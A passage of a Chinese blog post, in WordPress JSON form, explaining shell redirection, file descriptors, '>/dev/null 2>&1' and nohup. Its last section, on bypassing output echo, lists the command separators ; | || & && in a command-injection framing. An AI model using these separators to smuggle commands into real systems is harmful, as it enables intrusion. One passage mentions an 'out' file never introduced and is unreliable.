class=\"wp-block-heading\"><strong>shell\u91cd\u5b9a\u5411\u4ecb\u7ecd<\/strong><\/h3>\n\n\n\n<p>\u5c31\u50cf\u6211\u4eec\u5e73\u65f6\u5199\u7684\u7a0b\u5e8f\u4e00\u6837\uff0c\u4e00\u6bb5\u7a0b\u5e8f\u4f1a\u5904\u7406\u5916\u90e8\u7684\u8f93\u5165\uff0c\u7136\u540e\u5c06\u8fd0\u7b97\u7ed3\u679c\u8f93\u51fa\u5230\u6307\u5b9a\u7684\u4f4d\u7f6e\u3002\u5728\u4ea4\u4e92\u5f0f\u7684\u7a0b\u5e8f\u4e2d\uff0c\u8f93\u5165\u6765\u81ea\u7528\u6237\u7684\u952e\u76d8\u548c\u9f20\u6807\uff0c\u7ed3\u679c\u8f93\u51fa\u5230\u7528\u6237\u7684\u5c4f\u5e55\uff0c\u751a\u81f3\u64ad\u653e\u8bbe\u5907\u4e2d\u3002\u800c\u5bf9\u4e8e\u67d0\u4e9b\u540e\u53f0\u8fd0\u884c\u7684\u7a0b\u5e8f\uff0c\u8f93\u5165\u53ef\u80fd\u6765\u81ea\u4e8e\u5916\u90e8\u7684\u4e00\u4e9b\u6587\u4ef6\uff0c\u8fd0\u7b97\u7684\u7ed3\u679c\u901a\u5e38\u53c8\u5199\u5230\u5176\u4ed6\u7684\u6587\u4ef6\u4e2d\u3002\u800c\u4e14\u7a0b\u5e8f\u5728\u8fd0\u884c\u7684\u8fc7\u7a0b\u4e2d\uff0c\u4f1a\u6709\u4e00\u4e9b\u5173\u952e\u6027\u7684\u4fe1\u606f\uff0c\u6bd4\u5982\u5f02\u5e38\u5806\u6808\uff0c\u5916\u90e8\u63a5\u53e3\u8c03\u7528\u60c5\u51b5\u7b49\uff0c\u8fd9\u4e9b\u90fd\u4f1a\u7edf\u7edf\u5199\u5230\u65e5\u5fd7\u6587\u4ef6\u91cc\u3002<\/p>\n\n\n\n<p>shell\u811a\u672c\u4e5f\u4e00\u6837\uff0c\u4f46\u662f\u6211\u4eec\u4e00\u822c\u5728\u4f7f\u7528shell\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u66f4\u591a\u5730\u8fd8\u662f\u901a\u8fc7\u952e\u76d8\u8f93\u5165\uff0c\u7136\u540e\u5728\u5c4f\u5e55\u4e0a\u67e5\u770b\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u3002\u5982\u679c\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u9700\u8981\u5c06shell\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u5b58\u50a8\u5230\u6587\u4ef6\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u9700\u8981\u4f7f\u7528\u8f93\u5165\u8f93\u51fa\u7684\u91cd\u5b9a\u5411\u529f\u80fd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6587\u4ef6\u63cf\u8ff0\u7b26<\/strong><\/h3>\n\n\n\n<p>\u5f53\u6267\u884cshell\u547d\u4ee4\u65f6\uff0c\u4f1a\u9ed8\u8ba4\u6253\u5f003\u4e2a\u6587\u4ef6\uff0c\u6bcf\u4e2a\u6587\u4ef6\u6709\u5bf9\u5e94\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\u6765\u65b9\u4fbf\u6211\u4eec\u4f7f\u7528\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>\u7c7b\u578b<\/th><th>\u6587\u4ef6\u63cf\u8ff0\u7b26<\/th><th>\u9ed8\u8ba4\u60c5\u51b5<\/th><th>\u5bf9\u5e94\u6587\u4ef6\u53e5\u67c4\u4f4d\u7f6e<\/th><\/tr><\/thead><tbody><tr><td>\u6807\u51c6\u8f93\u5165\uff08standard input\uff09<\/td><td>0<\/td><td>\u4ece\u952e\u76d8\u83b7\u5f97\u8f93\u5165<\/td><td>\/proc\/self\/fd\/0<\/td><\/tr><tr><td>\u6807\u51c6\u8f93\u51fa\uff08standard output\uff09<\/td><td>1<\/td><td>\u8f93\u51fa\u5230\u5c4f\u5e55\uff08\u5373\u63a7\u5236\u53f0\uff09<\/td><td>\/proc\/self\/fd\/1<\/td><\/tr><tr><td>\u9519\u8bef\u8f93\u51fa\uff08error output\uff09<\/td><td>2<\/td><td>\u8f93\u51fa\u5230\u5c4f\u5e55\uff08\u5373\u63a7\u5236\u53f0\uff09<\/td><td>\/proc\/self\/fd\/2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u5e73\u65f6\u5728\u6267\u884cshell\u547d\u4ee4\u4e2d\uff0c\u90fd\u9ed8\u8ba4\u662f\u4ece\u952e\u76d8\u83b7\u5f97\u8f93\u5165\uff0c\u5e76\u4e14\u5c06\u7ed3\u679c\u8f93\u51fa\u5230\u63a7\u5236\u53f0\u4e0a\u3002\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u66f4\u6539\u6587\u4ef6\u63cf\u8ff0\u7b26\u9ed8\u8ba4\u7684\u6307\u5411\uff0c\u4ece\u800c\u5b9e\u73b0\u8f93\u5165\u8f93\u51fa\u7684\u91cd\u5b9a\u5411\u3002\u6bd4\u5982\u6211\u4eec\u5c061\u6307\u5411\u6587\u4ef6\uff0c\u90a3\u4e48\u6807\u51c6\u7684\u8f93\u51fa\u5c31\u4f1a\u8f93\u51fa\u5230\u6587\u4ef6\u4e2d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u8f93\u51fa\u91cd\u5b9a\u5411<\/strong><\/h3>\n\n\n\n<p>\u8f93\u51fa\u91cd\u5b9a\u5411\u7684\u4f7f\u7528\u65b9\u5f0f\u5f88\u7b80\u5355\uff0c\u57fa\u672c\u7684\u4e00\u4e9b\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>\u547d\u4ee4<\/th><th>\u4ecb\u7ecd<\/th><\/tr><\/thead><tbody><tr><td>command &gt;filename<\/td><td>\u628a\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u65b0\u6587\u4ef6\u4e2d<\/td><\/tr><tr><td>command 1&gt;filename<\/td><td>\u540c\u4e0a<\/td><\/tr><tr><td>command &gt;&gt;filename<\/td><td>\u628a\u6807\u51c6\u8f93\u51fa\u8ffd\u52a0\u5230\u6587\u4ef6\u4e2d<\/td><\/tr><tr><td>command 1&gt;&gt;filename<\/td><td>\u540c\u4e0a<\/td><\/tr><tr><td>command 2&gt;filename<\/td><td>\u628a\u6807\u51c6\u9519\u8bef\u91cd\u5b9a\u5411\u5230\u65b0\u6587\u4ef6\u4e2d<\/td><\/tr><tr><td>command 2&gt;&gt;filename<\/td><td>\u628a\u6807\u51c6\u9519\u8bef\u8ffd\u52a0\u5230\u65b0\u6587\u4ef6\u4e2d<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u6211\u4eec\u4f7f\u7528&gt;\u6216\u8005&gt;&gt;\u5bf9\u8f93\u51fa\u8fdb\u884c\u91cd\u5b9a\u5411\u3002\u7b26\u53f7\u7684\u5de6\u8fb9\u8868\u793a\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u5982\u679c\u6ca1\u6709\u7684\u8bdd\u8868\u793a1\uff0c\u4e5f\u5c31\u662f\u6807\u51c6\u8f93\u51fa\uff0c\u7b26\u53f7\u7684\u53f3\u8fb9\u53ef\u4ee5\u662f\u4e00\u4e2a\u6587\u4ef6\uff0c\u4e5f\u53ef\u4ee5\u662f\u4e00\u4e2a\u8f93\u51fa\u8bbe\u5907\u3002\u5f53\u4f7f\u7528&gt;\u65f6\uff0c\u4f1a\u5224\u65ad\u53f3\u8fb9\u7684\u6587\u4ef6\u5b58\u4e0d\u5b58\u5728\uff0c\u5982\u679c\u5b58\u5728\u7684\u8bdd\u5c31\u5148\u5220\u9664\uff0c\u7136\u540e\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u6587\u4ef6\uff0c\u4e0d\u5b58\u5728\u7684\u8bdd\u5219\u76f4\u63a5\u521b\u5efa\u3002\u4f46\u662f\u5f53\u4f7f\u7528&gt;&gt;\u8fdb\u884c\u8ffd\u52a0\u65f6\uff0c\u5219\u4e0d\u4f1a\u5220\u9664\u539f\u6765\u5df2\u7ecf\u5b58\u5728\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u8f93\u5165\u91cd\u5b9a\u5411<\/strong><\/h3>\n\n\n\n<p>\u5728\u7406\u89e3\u4e86\u8f93\u51fa\u91cd\u5b9a\u5411\u4e4b\u540e\uff0c\u7406\u89e3\u8f93\u5165\u91cd\u5b9a\u5411\u5c31\u4f1a\u5bb9\u6613\u5f97\u591a\u3002\u5bf9\u8f93\u5165\u91cd\u5b9a\u5411\u7684\u57fa\u672c\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>\u547d\u4ee4<\/th><th>\u4ecb\u7ecd<\/th><\/tr><\/thead><tbody><tr><td>command &lt;filename<\/td><td>\u4ee5filename\u6587\u4ef6\u4f5c\u4e3a\u6807\u51c6\u8f93\u5165<\/td><\/tr><tr><td>command 0&lt;filename<\/td><td>\u540c\u4e0a<\/td><\/tr><tr><td>command &lt;&lt;delimiter<\/td><td>\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u5165\uff0c\u76f4\u5230\u9047\u5230delimiter\u5206\u9694\u7b26<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u6211\u4eec\u4f7f\u7528&lt;\u5bf9\u8f93\u5165\u505a\u91cd\u5b9a\u5411\uff0c\u5982\u679c\u7b26\u53f7\u5de6\u8fb9\u6ca1\u6709\u5199\u503c\uff0c\u90a3\u4e48\u9ed8\u8ba4\u5c31\u662f0\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u91cd\u5b9a\u5411\u7ed1\u5b9a<\/strong><\/h3>\n\n\n\n<p>\u597d\u4e86\uff0c\u5728\u6709\u4e86\u4ee5\u4e0a\u77e5\u8bc6\u7684\u57fa\u7840\u4e0a\uff0c\u6211\u4eec\u518d\u6765\u770b\u5f00\u5934\u63d0\u5230\u7684<code>&gt;\/dev\/null 2&gt;&amp;1<\/code>\u3002\u8fd9\u6761\u547d\u4ee4\u5176\u5b9e\u5206\u4e3a\u4e24\u547d\u4ee4\uff0c\u4e00\u4e2a\u662f<code>&gt;\/dev\/null<\/code>\uff0c\u53e6\u4e00\u4e2a\u662f<code>2&gt;&amp;1<\/code>\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>1.&gt;\/dev\/null<\/strong><\/h4>\n\n\n\n<p>\u8fd9\u6761\u547d\u4ee4\u7684\u4f5c\u7528\u662f\u5c06\u6807\u51c6\u8f93\u51fa1\u91cd\u5b9a\u5411\u5230<code>\/dev\/null<\/code>\u4e2d\u3002 <code>\/dev\/null<\/code>\u4ee3\u8868linux\u7684\u7a7a\u8bbe\u5907\u6587\u4ef6\uff0c\u6240\u6709\u5f80\u8fd9\u4e2a\u6587\u4ef6\u91cc\u9762\u5199\u5165\u7684\u5185\u5bb9\u90fd\u4f1a\u4e22\u5931\uff0c\u4fd7\u79f0\u201c\u9ed1\u6d1e\u201d\u3002\u90a3\u4e48\u6267\u884c\u4e86<code>&gt;\/dev\/null<\/code>\u4e4b\u540e\uff0c\u6807\u51c6\u8f93\u51fa\u5c31\u4f1a\u4e0d\u518d\u5b58\u5728\uff0c\u6ca1\u6709\u4efb\u4f55\u5730\u65b9\u80fd\u591f\u627e\u5230\u8f93\u51fa\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>2.2&gt;&amp;1<\/strong><\/h4>\n\n\n\n<p>\u8fd9\u6761\u547d\u4ee4\u7528\u5230\u4e86\u91cd\u5b9a\u5411\u7ed1\u5b9a\uff0c\u91c7\u7528&amp;\u53ef\u4ee5\u5c06\u4e24\u4e2a\u8f93\u51fa\u7ed1\u5b9a\u5728\u4e00\u8d77\u3002\u8fd9\u6761\u547d\u4ee4\u7684\u4f5c\u7528\u662f\u9519\u8bef\u8f93\u51fa\u5c06\u548c\u6807\u51c6\u8f93\u51fa\u540c\u7528\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u8bf4\u4eba\u8bdd\u5c31\u662f\u9519\u8bef\u8f93\u51fa\u5c06\u4f1a\u548c\u6807\u51c6\u8f93\u51fa\u8f93\u51fa\u5230\u540c\u4e00\u4e2a\u5730\u65b9\u3002<\/p>\n\n\n\n<p>linux\u5728\u6267\u884cshell\u547d\u4ee4\u4e4b\u524d\uff0c\u5c31\u4f1a\u786e\u5b9a\u597d\u6240\u6709\u7684\u8f93\u5165\u8f93\u51fa\u4f4d\u7f6e\uff0c\u5e76\u4e14\u4ece\u5de6\u5230\u53f3\u4f9d\u6b21\u6267\u884c\u91cd\u5b9a\u5411\u7684\u547d\u4ee4\uff0c\u6240\u4ee5<code>&gt;\/dev\/null 2&gt;&amp;1<\/code>\u7684\u4f5c\u7528\u5c31\u662f\u8ba9\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u5230<code>\/dev\/null<\/code>\u4e2d\uff08\u4e22\u5f03\u6807\u51c6\u8f93\u51fa\uff09\uff0c\u7136\u540e\u9519\u8bef\u8f93\u51fa\u7531\u4e8e\u91cd\u7528\u4e86\u6807\u51c6\u8f93\u51fa\u7684\u63cf\u8ff0\u7b26\uff0c\u6240\u4ee5\u9519\u8bef\u8f93\u51fa\u4e5f\u88ab\u5b9a\u5411\u5230\u4e86<code>\/dev\/null<\/code>\u4e2d\uff0c\u9519\u8bef\u8f93\u51fa\u540c\u6837\u4e5f\u88ab\u4e22\u5f03\u4e86\u3002\u6267\u884c\u4e86\u8fd9\u6761\u547d\u4ee4\u4e4b\u540e\uff0c\u8be5\u6761shell\u547d\u4ee4\u5c06\u4e0d\u4f1a\u8f93\u51fa\u4efb\u4f55\u4fe1\u606f\u5230\u63a7\u5236\u53f0\uff0c\u4e5f\u4e0d\u4f1a\u6709\u4efb\u4f55\u4fe1\u606f\u8f93\u51fa\u5230\u6587\u4ef6\u4e2d\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>&gt;\/dev\/null 2&gt;&amp;1 VS 2&gt;&amp;1 &gt;\/dev\/null<\/strong><\/h4>\n\n\n\n<p>\u518d\u56de\u5230\u6587\u7ae0\u7684\u5f00\u5934\uff0c\u6211\u8bf4\u6211\u5f04\u53cd\u4e86<code>&gt;\/dev\/null<\/code>\u548c<code>2&gt;&amp;1<\/code>\u62fc\u88c5\u7684\u987a\u5e8f\uff0c\u5bfc\u81f4\u51fa\u4e86\u4e00\u70b9\u5c0f\u95ee\u9898\u3002\u4e4d\u773c\u770b\u8fd9\u4e24\u6761\u547d\u4ee4\u8c8c\u4f3c\u662f\u7b49\u540c\u7684\uff0c\u4f46\u5176\u5b9e\u5927\u4e3a\u4e0d\u540c\u3002\u521a\u624d\u63d0\u5230\u4e86\uff0clinux\u5728\u6267\u884cshell\u547d\u4ee4\u4e4b\u524d\uff0c\u5c31\u4f1a\u786e\u5b9a\u597d\u6240\u6709\u7684\u8f93\u5165\u8f93\u51fa\u4f4d\u7f6e\uff0c\u5e76\u4e14\u4ece\u5de6\u5230\u53f3\u4f9d\u6b21\u6267\u884c\u91cd\u5b9a\u5411\u7684\u547d\u4ee4\u3002\u90a3\u4e48\u6211\u4eec\u540c\u6837\u4ece\u5de6\u5230\u53f3\u5730\u6765\u5206\u6790<code>2&gt;&amp;1 &gt;\/dev\/null<\/code>\uff1a<\/p>\n\n\n\n<p><code>2&gt;&amp;1<\/code>\uff0c\u5c06\u9519\u8bef\u8f93\u51fa\u7ed1\u5b9a\u5230\u6807\u51c6\u8f93\u51fa\u4e0a\u3002\u7531\u4e8e\u6b64\u65f6\u7684\u6807\u51c6\u8f93\u51fa\u662f\u9ed8\u8ba4\u503c\uff0c\u4e5f\u5c31\u662f\u8f93\u51fa\u5230\u5c4f\u5e55\uff0c\u6240\u4ee5\u9519\u8bef\u8f93\u51fa\u4f1a\u8f93\u51fa\u5230\u5c4f\u5e55\u3002 <code>&gt;\/dev\/null<\/code>\uff0c\u5c06\u6807\u51c6\u8f93\u51fa1\u91cd\u5b9a\u5411\u5230<code>\/dev\/null<\/code>\u4e2d\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u7528\u4e00\u4e2a\u8868\u683c\u6765\u66f4\u597d\u5730\u8bf4\u660e\u8fd9\u4e24\u6761\u547d\u4ee4\u7684\u533a\u522b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>\u547d\u4ee4<\/th><th>\u6807\u51c6\u8f93\u51fa<\/th><th>\u9519\u8bef\u8f93\u51fa<\/th><\/tr><\/thead><tbody><tr><td>&gt;\/dev\/null 2&gt;&amp;1<\/td><td>\u4e22\u5f03<\/td><td>\u4e22\u5f03<\/td><\/tr><tr><td>2&gt;&amp;1 &gt;\/dev\/null<\/td><td>\u4e22\u5f03<\/td><td>\u5c4f\u5e55<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>&gt;\/dev\/null 2&gt;&amp;1 VS &gt;\/dev\/null 2&gt;\/dev\/null<\/strong><\/h4>\n\n\n\n<p>\u4e3a\u4ec0\u4e48\u8981\u7528\u91cd\u5b9a\u5411\u7ed1\u5b9a\uff0c\u800c\u4e0d\u662f\u50cf<code>&gt;\/dev\/null 2&gt;\/dev\/null<\/code>\u8fd9\u6837\u5b50\u91cd\u590d\u4e00\u904d\u5462\u3002<\/p>\n\n\n\n<p>\u8fd9\u662f\u56e0\u4e3a\u91c7\u7528\u8fd9\u79cd\u5199\u6cd5\uff0c\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u4f1a\u62a2\u5360\u5f80out\u6587\u4ef6\u7684\u7ba1\u9053\uff0c\u6240\u4ee5\u53ef\u80fd\u4f1a\u5bfc\u81f4\u8f93\u51fa\u5185\u5bb9\u7684\u65f6\u5019\u51fa\u73b0\u7f3a\u5931\u3001\u8986\u76d6\u7b49\u60c5\u51b5\u3002<\/p>\n\n\n\n<p>\u800c\u4e14\uff0c\u7531\u4e8eout\u6587\u4ef6\u88ab\u6253\u5f00\u4e86\u4e24\u6b21\uff0c\u4e24\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\u4f1a\u62a2\u5360\u6027\u7684\u5f80\u6587\u4ef6\u4e2d\u8f93\u51fa\u5185\u5bb9\uff0c\u6240\u4ee5\u6574\u4f53IO\u6548\u7387\u4e0d\u5982<code>&gt;\/dev\/null 2&gt;&amp;1<\/code>\u6765\u5f97\u9ad8\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>nohup\u7ed3\u5408<\/strong><\/h4>\n\n\n\n<p>\u6211\u4eec\u7ecf\u5e38\u4f7f\u7528<code>nohup command &amp;<\/code>\u547d\u4ee4\u5f62\u5f0f\u6765\u542f\u52a8\u4e00\u4e9b\u540e\u53f0\u7a0b\u5e8f\uff0c\u6bd4\u5982\u4e00\u4e9bjava\u670d\u52a1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># nohup java -jar xxxx.jar &amp;<\/pre>\n\n\n\n<p>\u4e3a\u4e86\u4e0d\u8ba9\u4e00\u4e9b\u6267\u884c\u4fe1\u606f\u8f93\u51fa\u5230\u524d\u53f0\uff08\u63a7\u5236\u53f0\uff09\uff0c\u6211\u4eec\u8fd8\u4f1a\u52a0\u4e0a\u521a\u624d\u63d0\u5230\u7684<code>&gt;\/dev\/null 2&gt;&amp;1<\/code>\u547d\u4ee4\u6765\u4e22\u5f03\u6240\u6709\u7684\u8f93\u51fa\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># nohup java -jar xxxx.jar &gt;\/dev\/null 2&gt;&amp;1 &amp;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u7ed5\u8fc7\u56de\u663e<\/h3>\n\n\n\n<p>\u6211\u4eec\u8981\u8ba9\u547d\u4ee4\u56de\u663e\uff0c\u90a3\u4e48\u8fdb\u884c\u547d\u4ee4\u5206\u9694\u5373\u53ef<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><code>;<\/code>\u524d\u9762\u548c\u540e\u9762\u547d\u4ee4\u90fd\u8981\u6267\u884c\uff0c\u65e0\u8bba\u524d\u9762\u771f\u5047 \/\/\u53ea\u5728Liunx\u4e0b <code>|<\/code>\u76f4\u63a5\u6267\u884c\u540e\u9762\u7684\u8bed\u53e5 <code>||<\/code>\u5982\u679c\u524d\u9762\u547d\u4ee4\u662f\u9519\u7684\u90a3\u4e48\u5c31\u6267\u884c\u540e\u9762\u7684\u8bed\u53e5\uff0c\u5426\u5219\u53ea\u6267\u884c\u524d\u9762\u7684\u8bed\u53e5 <code>&amp;<\/code>\u524d\u9762\u548c\u540e\u9762\u547d\u4ee4\u90fd\u8981\u6267\u884c\uff0c\u65e0\u8bba\u524d\u9762\u771f\u5047 <code>&amp;&amp;<\/code>\u5982\u679c\u524d\u9762\u4e3a\u5047\uff0c\u540e\u9762\u7684\u547d\u4ee4\u4e5f\u4e0d\u6267\u884c\uff0c\u5982\u679c\u524d\u9762\u4e3a\u771f\u5219\u6267\u884c\u4e24\u6761\u547d\u4ee4<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u901a\u914d\u7b26 \u5728linux\u7cfb\u7edf\u4e2d \u6709\u4e00\u4e9b\u901a\u914d\u7b26 \u5339\u914d\u4efb\u4f55\u5b57\u7b26\u4e32\uff0f\u6587\u672c\uff0c\u5305\u62ec\u7a7a\u5b57\u7b26\u4e32\uff1b*\u4ee3\u8868\u4efb\u610f\u5b57\u7b26\uff080\u4e2a\u6216\u591a\u4e2a\uff09 l [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[20],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/253"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=253"}],"version-history":[{"count":1,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/253\/revisions"}],"predecessor-version":[{"id":254,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/253\/revisions\/254"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=253"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=253"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}